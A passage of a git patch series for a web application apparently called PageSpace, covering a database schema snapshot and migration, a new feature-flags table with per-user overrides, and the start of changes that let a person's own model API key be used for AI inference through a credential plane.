+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "imago_drive_access_drive_idx": {
+ "name": "imago_drive_access_drive_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "imago_drive_access_userId_users_id_fk": {
+ "name": "imago_drive_access_userId_users_id_fk",
+ "tableFrom": "imago_drive_access",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "imago_drive_access_driveId_drives_id_fk": {
+ "name": "imago_drive_access_driveId_drives_id_fk",
+ "tableFrom": "imago_drive_access",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "imago_drive_access_userId_driveId_pk": {
+ "name": "imago_drive_access_userId_driveId_pk",
+ "columns": [
+ "userId",
+ "driveId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.feature_flag_user_overrides": {
+ "name": "feature_flag_user_overrides",
+ "schema": "",
+ "columns": {
+ "flag_key": {
+ "name": "flag_key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_by": {
+ "name": "updated_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "feature_flag_user_overrides_user_idx": {
+ "name": "feature_flag_user_overrides_user_idx",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "feature_flag_user_overrides_user_id_users_id_fk": {
+ "name": "feature_flag_user_overrides_user_id_users_id_fk",
+ "tableFrom": "feature_flag_user_overrides",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "feature_flag_user_overrides_flag_key_user_id_pk": {
+ "name": "feature_flag_user_overrides_flag_key_user_id_pk",
+ "columns": [
+ "flag_key",
+ "user_id"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.feature_flags": {
+ "name": "feature_flags",
+ "schema": "",
+ "columns": {
+ "key": {
+ "name": "key",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "enabled_by_default": {
+ "name": "enabled_by_default",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_by": {
+ "name": "updated_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ }
+ },
+ "enums": {
+ "public.AccountType": {
+ "name": "AccountType",
+ "schema": "public",
+ "values": [
+ "human",
+ "agent"
+ ]
+ },
+ "public.AuthProvider": {
+ "name": "AuthProvider",
+ "schema": "public",
+ "values": [
+ "email",
+ "google",
+ "apple"
+ ]
+ },
+ "public.PlatformType": {
+ "name": "PlatformType",
+ "schema": "public",
+ "values": [
+ "web",
+ "desktop",
+ "ios",
+ "android"
+ ]
+ },
+ "public.UserRole": {
+ "name": "UserRole",
+ "schema": "public",
+ "values": [
+ "user",
+ "admin"
+ ]
+ },
+ "public.DriveKind": {
+ "name": "DriveKind",
+ "schema": "public",
+ "values": [
+ "STANDARD",
+ "HOME"
+ ]
+ },
+ "public.FavoriteItemType": {
+ "name": "FavoriteItemType",
+ "schema": "public",
+ "values": [
+ "page",
+ "drive"
+ ]
+ },
+ "public.OrgDriveVisibility": {
+ "name": "OrgDriveVisibility",
+ "schema": "public",
+ "values": [
+ "OPEN",
+ "RESTRICTED",
+ "PRIVATE"
+ ]
+ },
+ "public.PageType": {
+ "name": "PageType",
+ "schema": "public",
+ "values": [
+ "FOLDER",
+ "DOCUMENT",
+ "CHANNEL",
+ "AI_CHAT",
+ "CANVAS",
+ "FILE",
+ "SHEET",
+ "TASK_LIST",
+ "CODE",
+ "MACHINE"
+ ]
+ },
+ "public.DriveMemberSource": {
+ "name": "DriveMemberSource",
+ "schema": "public",
+ "values": [
+ "invite",
+ "org"
+ ]
+ },
+ "public.MemberRole": {
+ "name": "MemberRole",
+ "schema": "public",
+ "values": [
+ "OWNER",
+ "ADMIN",
+ "MEMBER",
+ "GUEST"
+ ]
+ },
+ "public.pulse_summary_type": {
+ "name": "pulse_summary_type",
+ "schema": "public",
+ "values": [
+ "scheduled",
+ "on_demand",
+ "welcome"
+ ]
+ },
+ "public.NotificationType": {
+ "name": "NotificationType",
+ "schema": "public",
+ "values": [
+ "PERMISSION_GRANTED",
+ "PERMISSION_REVOKED",
+ "PERMISSION_UPDATED",
+ "PAGE_SHARED",
+ "DRIVE_INVITED",
+ "DRIVE_JOINED",
+ "DRIVE_ROLE_CHANGED",
+ "CONNECTION_REQUEST",
+ "CONNECTION_ACCEPTED",
+ "CONNECTION_REJECTED",
+ "NEW_DIRECT_MESSAGE",
+ "EMAIL_VERIFICATION_REQUIRED",
+ "TOS_PRIVACY_UPDATED",
+ "MENTION",
+ "TASK_ASSIGNED",
+ "AUTOMATION_SKIPPED",
+ "WALLET_DEBT",
+ "WALLET_CAP_ALERT",
+ "PRODUCT_UPDATE"
+ ]
+ },
+ "public.toast_notification_level": {
+ "name": "toast_notification_level",
+ "schema": "public",
+ "values": [
+ "all",
+ "mentions",
+ "off"
+ ]
+ },
+ "public.display_preference_type": {
+ "name": "display_preference_type",
+ "schema": "public",
+ "values": [
+ "SHOW_TOKEN_COUNTS",
+ "SHOW_CODE_TOGGLE",
+ "DEFAULT_MARKDOWN_MODE"
+ ]
+ },
+ "public.activity_change_group_type": {
+ "name": "activity_change_group_type",
+ "schema": "public",
+ "values": [
+ "user",
+ "ai",
+ "automation",
+ "system"
+ ]
+ },
+ "public.activity_resource": {
+ "name": "activity_resource",
+ "schema": "public",
+ "values": [
+ "page",
+ "drive",
+ "permission",
+ "agent",
+ "user",
+ "member",
+ "role",
+ "file",
+ "token",
+ "device",
+ "message",
+ "conversation"
+ ]
+ },
+ "public.content_format": {
+ "name": "content_format",
+ "schema": "public",
+ "values": [
+ "text",
+ "html",
+ "json",
+ "tiptap"
+ ]
+ },
+ "public.http_method": {
+ "name": "http_method",
+ "schema": "public",
+ "values": [
+ "GET",
+ "POST",
+ "PUT",
+ "DELETE",
+ "PATCH",
+ "HEAD",
+ "OPTIONS"
+ ]
+ },
+ "public.log_level": {
+ "name": "log_level",
+ "schema": "public",
+ "values": [
+ "trace",
+ "debug",
+ "info",
+ "warn",
+ "error",
+ "fatal"
+ ]
+ },
+ "public.drive_backup_schedule_frequency": {
+ "name": "drive_backup_schedule_frequency",
+ "schema": "public",
+ "values": [
+ "daily",
+ "weekly",
+ "monthly"
+ ]
+ },
+ "public.drive_backup_source": {
+ "name": "drive_backup_source",
+ "schema": "public",
+ "values": [
+ "manual",
+ "scheduled",
+ "pre_restore",
+ "system"
+ ]
+ },
+ "public.drive_backup_status": {
+ "name": "drive_backup_status",
+ "schema": "public",
+ "values": [
+ "pending",
+ "ready",
+ "failed"
+ ]
+ },
+ "public.page_version_source": {
+ "name": "page_version_source",
+ "schema": "public",
+ "values": [
+ "manual",
+ "auto",
+ "pre_ai",
+ "pre_restore",
+ "restore",
+ "system"
+ ]
+ },
+ "public.ConnectionStatus": {
+ "name": "ConnectionStatus",
+ "schema": "public",
+ "values": [
+ "PENDING",
+ "ACCEPTED",
+ "BLOCKED"
+ ]
+ },
+ "public.PushPlatformType": {
+ "name": "PushPlatformType",
+ "schema": "public",
+ "values": [
+ "ios",
+ "android",
+ "web"
+ ]
+ },
+ "public.integration_connection_status": {
+ "name": "integration_connection_status",
+ "schema": "public",
+ "values": [
+ "active",
+ "expired",
+ "error",
+ "pending",
+ "revoked"
+ ]
+ },
+ "public.integration_provider_type": {
+ "name": "integration_provider_type",
+ "schema": "public",
+ "values": [
+ "builtin",
+ "openapi",
+ "custom",
+ "mcp",
+ "webhook"
+ ]
+ },
+ "public.integration_visibility": {
+ "name": "integration_visibility",
+ "schema": "public",
+ "values": [
+ "private",
+ "owned_drives",
+ "all_drives"
+ ]
+ },
+ "public.AttendeeStatus": {
+ "name": "AttendeeStatus",
+ "schema": "public",
+ "values": [
+ "PENDING",
+ "ACCEPTED",
+ "DECLINED",
+ "TENTATIVE"
+ ]
+ },
+ "public.EventVisibility": {
+ "name": "EventVisibility",
+ "schema": "public",
+ "values": [
+ "DRIVE",
+ "ATTENDEES_ONLY",
+ "PRIVATE"
+ ]
+ },
+ "public.GoogleCalendarConnectionStatus": {
+ "name": "GoogleCalendarConnectionStatus",
+ "schema": "public",
+ "values": [
+ "active",
+ "expired",
+ "error",
+ "disconnected"
+ ]
+ },
+ "public.RecurrenceFrequency": {
+ "name": "RecurrenceFrequency",
+ "schema": "public",
+ "values": [
+ "DAILY",
+ "WEEKLY",
+ "MONTHLY",
+ "YEARLY"
+ ]
+ },
+ "public.WorkflowTriggerType": {
+ "name": "WorkflowTriggerType",
+ "schema": "public",
+ "values": [
+ "cron",
+ "event"
+ ]
+ },
+ "public.WorkflowRunSourceTable": {
+ "name": "WorkflowRunSourceTable",
+ "schema": "public",
+ "values": [
+ "taskTriggers",
+ "calendarTriggers",
+ "webhookTriggers",
+ "cron",
+ "manual"
+ ]
+ },
+ "public.WorkflowRunStatus": {
+ "name": "WorkflowRunStatus",
+ "schema": "public",
+ "values": [
+ "running",
+ "success",
+ "error",
+ "cancelled"
+ ]
+ },
+ "public.WorkflowRunStepStatus": {
+ "name": "WorkflowRunStepStatus",
+ "schema": "public",
+ "values": [
+ "running",
+ "success",
+ "error",
+ "skipped"
+ ]
+ },
+ "public.TaskTriggerType": {
+ "name": "TaskTriggerType",
+ "schema": "public",
+ "values": [
+ "due_date",
+ "completion"
+ ]
+ },
+ "public.DriveJoinRequestStatus": {
+ "name": "DriveJoinRequestStatus",
+ "schema": "public",
+ "values": [
+ "pending",
+ "approved",
+ "denied",
+ "withdrawn"
+ ]
+ },
+ "public.ZoomConnectionStatus": {
+ "name": "ZoomConnectionStatus",
+ "schema": "public",
+ "values": [
+ "active",
+ "expired",
+ "error",
+ "disconnected"
+ ]
+ },
+ "public.ContentTagAnchorStatus": {
+ "name": "ContentTagAnchorStatus",
+ "schema": "public",
+ "values": [
+ "exact",
+ "shifted",
+ "fuzzy",
+ "orphaned"
+ ]
+ },
+ "public.ContentTagSource": {
+ "name": "ContentTagSource",
+ "schema": "public",
+ "values": [
+ "user",
+ "ai",
+ "system",
+ "rule"
+ ]
+ },
+ "public.ContentTagTargetKind": {
+ "name": "ContentTagTargetKind",
+ "schema": "public",
+ "values": [
+ "page",
+ "text",
+ "sheet_cell",
+ "channel_message",
+ "ai_message"
+ ]
+ },
+ "public.custom_domain_status": {
+ "name": "custom_domain_status",
+ "schema": "public",
+ "values": [
+ "pending",
+ "verified",
+ "failed",
+ "provisioning",
+ "active",
+ "dns_failed",
+ "cert_failed"
+ ]
+ },
+ "public.data_subject_request_status": {
+ "name": "data_subject_request_status",
+ "schema": "public",
+ "values": [
+ "pending",
+ "queued",
+ "in_progress",
+ "blocked",
+ "completed",
+ "failed",
+ "cancelled"
+ ]
+ },
+ "public.data_subject_request_type": {
+ "name": "data_subject_request_type",
+ "schema": "public",
+ "values": [
+ "erasure",
+ "export",
+ "access",
+ "rectification",
+ "restriction",
+ "portability",
+ "objection"
+ ]
+ },
+ "public.data_subject_requester_type": {
+ "name": "data_subject_requester_type",
+ "schema": "public",
+ "values": [
+ "self",
+ "admin"
+ ]
+ },
+ "public.OAuthClientType": {
+ "name": "OAuthClientType",
+ "schema": "public",
+ "values": [
+ "public",
+ "confidential"
+ ]
+ },
+ "public.published_app_status": {
+ "name": "published_app_status",
+ "schema": "public",
+ "values": [
+ "provisioning",
+ "building",
+ "deploying",
+ "running",
+ "stopped",
+ "parked",
+ "destroying",
+ "failed"
+ ]
+ },
+ "public.published_app_tier": {
+ "name": "published_app_tier",
+ "schema": "public",
+ "values": [
+ "metered",
+ "dedicated"
+ ]
+ },
+ "public.broadcast_recipient_status": {
+ "name": "broadcast_recipient_status",
+ "schema": "public",
+ "values": [
+ "pending",
+ "sent",
+ "skipped",
+ "failed"
+ ]
+ },
+ "public.email_broadcast_content_mode": {
+ "name": "email_broadcast_content_mode",
+ "schema": "public",
+ "values": [
+ "compose",
+ "template"
+ ]
+ },
+ "public.email_broadcast_engine": {
+ "name": "email_broadcast_engine",
+ "schema": "public",
+ "values": [
+ "transactional",
+ "resend_broadcast"
+ ]
+ },
+ "public.email_broadcast_status": {
+ "name": "email_broadcast_status",
+ "schema": "public",
+ "values": [
+ "draft",
+ "pending",
+ "queued",
+ "in_progress",
+ "paused",
+ "completed",
+ "failed",
+ "cancelled"
+ ]
+ },
+ "public.OrgRole": {
+ "name": "OrgRole",
+ "schema": "public",
+ "values": [
+ "OWNER",
+ "ADMIN",
+ "MEMBER"
+ ]
+ },
+ "public.agent_account_acknowledgment": {
+ "name": "agent_account_acknowledgment",
+ "schema": "public",
+ "values": [
+ "dedicated_agent_account",
+ "personal_login_acknowledged"
+ ]
+ },
+ "public.agent_account_approval_outcome": {
+ "name": "agent_account_approval_outcome",
+ "schema": "public",
+ "values": [
+ "allow_once",
+ "always",
+ "deny"
+ ]
+ },
+ "public.agent_account_kind": {
+ "name": "agent_account_kind",
+ "schema": "public",
+ "values": [
+ "api_key",
+ "bearer",
+ "oauth2",
+ "session",
+ "password",
+ "ssh_key"
+ ]
+ },
+ "public.agent_account_owner_kind": {
+ "name": "agent_account_owner_kind",
+ "schema": "public",
+ "values": [
+ "user",
+ "agent_page"
+ ]
+ },
+ "public.agent_account_session_format": {
+ "name": "agent_account_session_format",
+ "schema": "public",
+ "values": [
+ "cookie-jar-v1",
+ "storage-state-v1",
+ "human-relogin"
+ ]
+ },
+ "public.agent_account_status": {
+ "name": "agent_account_status",
+ "schema": "public",
+ "values": [
+ "active",
+ "revoked",
+ "needs_reauth",
+ "deleted"
+ ]
+ },
+ "public.agent_account_upstream_revocation": {
+ "name": "agent_account_upstream_revocation",
+ "schema": "public",
+ "values": [
+ "not_attempted",
+ "revoked",
+ "unsupported",
+ "failed"
+ ]
+ }
+ },
+ "schemas": {},
+ "sequences": {},
+ "roles": {},
+ "policies": {},
+ "views": {},
+ "_meta": {
+ "columns": {},
+ "schemas": {},
+ "tables": {}
+ }
+}
\ No newline at end of file
diff --git a/packages/db/drizzle/meta/_journal.json b/packages/db/drizzle/meta/_journal.json
index cca0a87e61..e87f0e8482 100644
--- a/packages/db/drizzle/meta/_journal.json
+++ b/packages/db/drizzle/meta/_journal.json
@@ -2542,6 +2542,13 @@
"when": 1795956260354,
"tag": "0393_local_env_ga",
"breakpoints": true
+ },
+ {
+ "idx": 363,
+ "version": "7",
+ "when": 1796001632005,
+ "tag": "0394_byok_feature_flags",
+ "breakpoints": true
}
]
}
\ No newline at end of file
diff --git a/packages/db/package.json b/packages/db/package.json
index b91d2bb56f..baa559e080 100644
--- a/packages/db/package.json
+++ b/packages/db/package.json
@@ -63,6 +63,10 @@
"types": "./dist/schema/agent-accounts.d.ts",
"default": "./dist/schema/agent-accounts.js"
},
+ "./schema/feature-flags": {
+ "types": "./dist/schema/feature-flags.d.ts",
+ "default": "./dist/schema/feature-flags.js"
+ },
"./schema/agent-account-grant-nonces": {
"types": "./dist/schema/agent-account-grant-nonces.d.ts",
"default": "./dist/schema/agent-account-grant-nonces.js"
diff --git a/packages/db/src/schema.ts b/packages/db/src/schema.ts
index 72441c4a87..55f8dd00f5 100644
--- a/packages/db/src/schema.ts
+++ b/packages/db/src/schema.ts
@@ -78,6 +78,7 @@ export * from './schema/org-guest-holds';
export * from './schema/agent-accounts';
export * from './schema/user-builtin-agents';
export * from './schema/imago-drive-access';
+export * from './schema/feature-flags';
import * as auth from './schema/auth';
import * as sessions from './schema/sessions';
@@ -158,6 +159,7 @@ import * as orgGuestHolds from './schema/org-guest-holds';
import * as agentAccounts from './schema/agent-accounts';
import * as userBuiltinAgents from './schema/user-builtin-agents';
import * as imagoDriveAccess from './schema/imago-drive-access';
+import * as featureFlags from './schema/feature-flags';
export const schema = {
...auth,
@@ -239,4 +241,5 @@ export const schema = {
...agentAccounts,
...userBuiltinAgents,
...imagoDriveAccess,
+ ...featureFlags,
};
diff --git a/packages/db/src/schema/feature-flags.ts b/packages/db/src/schema/feature-flags.ts
new file mode 100644
index 0000000000..2d0769e67b
--- /dev/null
+++ b/packages/db/src/schema/feature-flags.ts
@@ -0,0 +1,39 @@
+/**
+ * FEATURE FLAGS — features a PageSpace admin turns on for everyone or for named people.
+ *
+ * `feature_flags` holds the default for a flag. A row in `feature_flag_user_overrides`
+ * decides it for one person and wins over the default. A flag with no row is off: a
+ * feature behind a flag never ships to anyone until an admin says so. The keys a flag
+ * may take are fixed in code (`packages/lib/src/feature-flags/flags.ts`), so an unknown
+ * key in either table is ignored, never interpreted.
+ */
+import { pgTable, text, timestamp, boolean, primaryKey, index } from 'drizzle-orm/pg-core';
+import { users } from './auth';
+
+export const featureFlags = pgTable('feature_flags', {
+ key: text('key').primaryKey(),
+ enabledByDefault: boolean('enabled_by_default').default(false).notNull(),
+ updatedAt: timestamp('updated_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(),
+ /** The admin who last changed the default; a soft reference so an admin's erasure never blocks it. */
+ updatedBy: text('updated_by'),
+});
+
+export const featureFlagUserOverrides = pgTable(
+ 'feature_flag_user_overrides',
+ {
+ flagKey: text('flag_key').notNull(),
+ userId: text('user_id')
+ .notNull()
+ .references(() => users.id, { onDelete: 'cascade' }),
+ enabled: boolean('enabled').notNull(),
+ updatedAt: timestamp('updated_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(),
+ updatedBy: text('updated_by'),
+ },
+ (table) => ({
+ pk: primaryKey({ columns: [table.flagKey, table.userId] }),
+ userIdx: index('feature_flag_user_overrides_user_idx').on(table.userId),
+ }),
+);
+
+export type FeatureFlagRow = typeof featureFlags.$inferSelect;
+export type FeatureFlagUserOverrideRow = typeof featureFlagUserOverrides.$inferSelect;
diff --git a/packages/db/src/schema/monitoring.ts b/packages/db/src/schema/monitoring.ts
index 74b423315c..48498136f5 100644
--- a/packages/db/src/schema/monitoring.ts
+++ b/packages/db/src/schema/monitoring.ts
@@ -202,6 +202,13 @@ export const aiUsageLogs = pgTable('ai_usage_logs', {
*/
unattributedAt: timestamp('unattributed_at', { mode: 'date', withTimezone: true }),
+ /**
+ * BYOK: whose provider key paid for this call upstream. 'managed' = PageSpace's deployment key
+ * (billed in credits); 'user_key' = the person's own OpenRouter key through the credential plane
+ * (never billed in credits, never reconciled against PageSpace's OpenRouter account).
+ */
+ keySource: text('key_source').default('managed').notNull(),
+
// Metadata
metadata: jsonb('metadata'),
From 635bfae64e0d573910676208eed5105a5a5dc782 Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 19:37:16 -0600
Subject: [PATCH 02/35] =?UTF-8?q?feat(agent-accounts):=20inference=20execu?=
=?UTF-8?q?tor=20=E2=80=94=20a=20person's=20own=20model=20key,=20streamed?=
=?UTF-8?q?=20through=20the=20plane=20(BYOK-3,=20BYOK-4,=20BYOK-5)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
- New presenter inference-executor (resolves api_key only) and a reserved
providerSlug that makes a user-owned api_key account a model key, pinned to
https://openrouter.ai:443. http_request refuses model keys outright, they are
hidden from list_accounts, and no edit, binding or delegation can change one.
- authorizeInference: the acting human's own key only, agentPageId forced null,
the exact body canonicalized (model bound as a resource), a bounded
always-allow written at enrollment (1200/h, 12 concurrent), and a live
session or the person's inference delegation standing for them.
- Plane route /v1/inference/stream: grant gate, usage reserve, audit 'allowed'
before send, pinned-address HTTPS stream to OpenRouter, the key scrubbed from
every byte (split-chunk safe), outcome recorded when the stream ends.
- Feature flags: decideFeatureFlag (off on-prem) and its repository.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
packages/lib/package.json | 40 +++
...tp-executor-end-to-end.integration.test.ts | 2 +-
.../account-authority-executor.ts | 149 ++++++++++-
packages/lib/src/agent-accounts/authorize.ts | 28 ++-
.../src/agent-accounts/canonical-request.ts | 3 +
.../agent-accounts/canonicalize-request.ts | 2 +
.../classify-plane-call-failure.ts | 4 +-
.../executor/__tests__/plane-health.test.ts | 1 +
.../executor/expected-binding-for.ts | 2 +-
.../executor/inference-executor.ts | 232 ++++++++++++++++++
.../executor/pinned-https-stream.ts | 199 +++++++++++++++
.../executor/plane-http-adapter.ts | 61 ++++-
.../src/agent-accounts/executor/plane-wire.ts | 30 +++
.../agent-accounts/executor/plane-worker.ts | 21 ++
packages/lib/src/agent-accounts/grant.ts | 2 +-
.../__tests__/authorize-inference.test.ts | 163 ++++++++++++
.../inference/__tests__/model-key.test.ts | 74 ++++++
.../__tests__/stream-scrubber.test.ts | 45 ++++
.../src/agent-accounts/inference/model-key.ts | 100 ++++++++
.../inference/stream-scrubber.ts | 57 +++++
.../lib/src/agent-accounts/parse-grant.ts | 2 +-
.../lib/src/agent-accounts/plane-client.ts | 41 +++-
.../store/decide-resolve-caller.ts | 3 +
.../src/agent-accounts/store/store-adapter.ts | 1 +
.../lib/src/agent-accounts/verify-grant.ts | 2 +
.../__tests__/decide-feature-flag.test.ts | 37 +++
.../src/feature-flags/decide-feature-flag.ts | 25 ++
.../feature-flags/feature-flag-repository.ts | 91 +++++++
packages/lib/src/feature-flags/flags.ts | 26 ++
29 files changed, 1428 insertions(+), 15 deletions(-)
create mode 100644 packages/lib/src/agent-accounts/executor/inference-executor.ts
create mode 100644 packages/lib/src/agent-accounts/executor/pinned-https-stream.ts
create mode 100644 packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts
create mode 100644 packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts
create mode 100644 packages/lib/src/agent-accounts/inference/__tests__/stream-scrubber.test.ts
create mode 100644 packages/lib/src/agent-accounts/inference/model-key.ts
create mode 100644 packages/lib/src/agent-accounts/inference/stream-scrubber.ts
create mode 100644 packages/lib/src/feature-flags/__tests__/decide-feature-flag.test.ts
create mode 100644 packages/lib/src/feature-flags/decide-feature-flag.ts
create mode 100644 packages/lib/src/feature-flags/feature-flag-repository.ts
create mode 100644 packages/lib/src/feature-flags/flags.ts
diff --git a/packages/lib/package.json b/packages/lib/package.json
index 731f293013..eeeba4ec5c 100644
--- a/packages/lib/package.json
+++ b/packages/lib/package.json
@@ -3505,6 +3505,31 @@
"types": "./dist/organizations/open-role-floor.d.ts",
"import": "./dist/organizations/open-role-floor.js",
"require": "./dist/organizations/open-role-floor.js"
+ },
+ "./feature-flags/flags": {
+ "types": "./dist/feature-flags/flags.d.ts",
+ "import": "./dist/feature-flags/flags.js",
+ "require": "./dist/feature-flags/flags.js"
+ },
+ "./feature-flags/decide-feature-flag": {
+ "types": "./dist/feature-flags/decide-feature-flag.d.ts",
+ "import": "./dist/feature-flags/decide-feature-flag.js",
+ "require": "./dist/feature-flags/decide-feature-flag.js"
+ },
+ "./feature-flags/feature-flag-repository": {
+ "types": "./dist/feature-flags/feature-flag-repository.d.ts",
+ "import": "./dist/feature-flags/feature-flag-repository.js",
+ "require": "./dist/feature-flags/feature-flag-repository.js"
+ },
+ "./agent-accounts/inference/model-key": {
+ "types": "./dist/agent-accounts/inference/model-key.d.ts",
+ "import": "./dist/agent-accounts/inference/model-key.js",
+ "require": "./dist/agent-accounts/inference/model-key.js"
+ },
+ "./agent-accounts/inference/stream-scrubber": {
+ "types": "./dist/agent-accounts/inference/stream-scrubber.d.ts",
+ "import": "./dist/agent-accounts/inference/stream-scrubber.js",
+ "require": "./dist/agent-accounts/inference/stream-scrubber.js"
}
},
"typesVersions": {
@@ -4453,6 +4478,21 @@
],
"organizations/open-role-floor": [
"./dist/organizations/open-role-floor.d.ts"
+ ],
+ "feature-flags/flags": [
+ "./dist/feature-flags/flags.d.ts"
+ ],
+ "feature-flags/decide-feature-flag": [
+ "./dist/feature-flags/decide-feature-flag.d.ts"
+ ],
+ "feature-flags/feature-flag-repository": [
+ "./dist/feature-flags/feature-flag-repository.d.ts"
+ ],
+ "agent-accounts/inference/model-key": [
+ "./dist/agent-accounts/inference/model-key.d.ts"
+ ],
+ "agent-accounts/inference/stream-scrubber": [
+ "./dist/agent-accounts/inference/stream-scrubber.d.ts"
]
}
},
diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
index a8601ee749..a821c021a4 100644
--- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
+++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts
@@ -241,7 +241,7 @@ async function startPlane({ isPublic = () => true, wrapAudit = (r: AgentAccountA
maxReleasedBodyBytes: 64 * 1024,
});
const server = createHttpServer(
- createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }),
+ createPlaneRequestHandler({ secret: SECRET, store, usage, oauth: { endpoints, clientFor, network }, ssh: { client: sshClient, executor: sshExecutor }, inference: null, provisioner, executor, hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), now: () => Date.now() }),
);
await new Promise((resolve) => server.listen(0, '127.0.0.1', () => resolve()));
planes.push(server);
diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts
index 33cbcea5a3..42720200c2 100644
--- a/packages/lib/src/agent-accounts/account-authority-executor.ts
+++ b/packages/lib/src/agent-accounts/account-authority-executor.ts
@@ -31,7 +31,7 @@
import { createHash, randomBytes } from 'node:crypto';
import type { AccountOwnerRef, AgentAccountRecord } from '@pagespace/db/schema/agent-accounts';
import type { AccountId } from '@pagespace/db/schema/agent-accounts';
-import type { AgentPageId, ApprovalId, DriveId, GrantId, HashBytes, Nonce, PresenterKeyId, RequestDigest, UserId } from './grant';
+import type { AgentPageId, ApprovalId, ConversationId, RunId, SessionId, DriveId, GrantId, HashBytes, Nonce, PresenterKeyId, RequestDigest, UserId } from './grant';
import type { AccountAccessLevel } from '../permissions/account-permissions';
import type { ApprovalSubject, CanonicalRequestInput, OperationRegistry } from './canonical-request';
import type { AuthorityKey } from './account-authority-key';
@@ -51,7 +51,8 @@ import { GOOGLE_ORIGINS } from './registry/google-operations';
import { decideGoogleEnrollment, type GoogleEnrollmentInput, type GoogleEnrollmentVerdict } from './oauth/google-enrollment';
import type { PlaneOAuthExchangeResult, PlaneSshHostKeyResult } from './executor/plane-wire';
import type { SshExecutionResult } from './executor/decide-ssh-result';
-import { authorizeSsh } from './authorize';
+import { authorizeSsh, authorizeInference } from './authorize';
+import { decideModelKeyInput, INFERENCE_ORIGIN, isModelKeyAccount, MODEL_KEY_ACCOUNT_NAME, MODEL_KEY_DELEGATION_TTL_MS, MODEL_KEY_PLACEMENT, MODEL_KEY_PROVIDER_SLUG, MODEL_KEY_SCOPE, modelKeyApprovalPolicy } from './inference/model-key';
import { decideSshAccount, type SshAccountInput, type SshAccountVerdict } from './ssh/decide-ssh-account';
import { normalizeSshTarget, sshTargetOf } from './ssh/ssh-command';
import type { ReleasedResponse } from './filter-response';
@@ -161,7 +162,37 @@ export type SshCommandResult =
| { readonly ok: false; readonly reason: 'approval_required'; readonly digest: RequestDigest; readonly subject: ApprovalSubject; readonly stepUp: boolean }
| { readonly ok: false; readonly reason: 'plane_unavailable' };
+/** Who is making one model call on their own key (ADR 0009). A model call is the person's, never an agent page's. */
+export type InferenceCaller = {
+ readonly userId: UserId;
